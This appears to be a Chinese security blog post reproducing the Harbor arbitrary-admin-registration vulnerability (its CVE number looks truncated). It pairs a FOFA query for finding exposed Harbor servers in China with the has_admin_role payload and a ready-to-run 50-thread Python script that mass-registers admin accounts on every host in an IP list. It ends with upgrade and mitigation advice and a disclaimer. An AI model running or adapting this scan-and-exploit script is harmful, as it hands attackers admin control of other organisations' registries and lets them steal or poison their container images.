Harbor任意管理员注册漏洞复现||CVE-2019-1609
- 2020 年 3 月 6 日
- 筆記
0x01 前言
Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker Distribution。作为一个企业级私有Registry服务器,Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。Harbor支持安装在多个Registry节点的镜像资源复制,镜像全部保存在私有Registry中, 确保数据和知识产权在公司内部网络中管控。另外,Harbor也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。
0x02 漏洞简介及危害
因注册模块对参数校验不严格,可导致任意管理员注册。

Harbor 1.7.6之前版本和Harbor 1.8.3之前版本中的core/api/user.go文件存在安全漏洞。若开放注册功能,攻击者可利用该漏洞创建admin账户。注册功能默认开放。攻击者可以以管理员身份下载私有项目并审计;可以删除或污染所有镜像。
目前PoC已公开,建议受影响的客户尽快升级。
0x03 漏洞复现
使用fofa语法搜索
title="Harbor" && country=CN

找到注册页面

点击注册抓包,改包,在最后数据包加上:
"has_admin_role":true

修改成功,成功添加账号密码。并登陆成功!

0x04 批量脚本
脚本来源于T9sec team
import requests import json import csv from concurrent.futures import ThreadPoolExecutor def exp(url): url = url + '/api/users' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', } payload = { "username": "test1", "email": "test1@qq.com", "realname": "test1", "password": "Aa123456", "comment": "test1", "has_admin_role": True } payload = json.dumps(payload) try: requests.packages.urllib3.disable_warnings() r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False) if r.status_code == 201: print(url) except Exception as e: pass if __name__ == '__main__': data = open('ip.txt') # 批量IP reader = csv.reader(data) # 50是线程 with ThreadPoolExecutor(50) as pool: for row in reader: if 'http' not in row[0]: url = 'http://' + row[0] else: url = row[0] pool.submit(exp, url)
0x05 修复建议
升级到1.7.6及以上版本或者1.8.3及以上版本
临时缓解方案:
关闭允许自行注册功能(Allow Self-Registration)
0x06 免责声明
本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。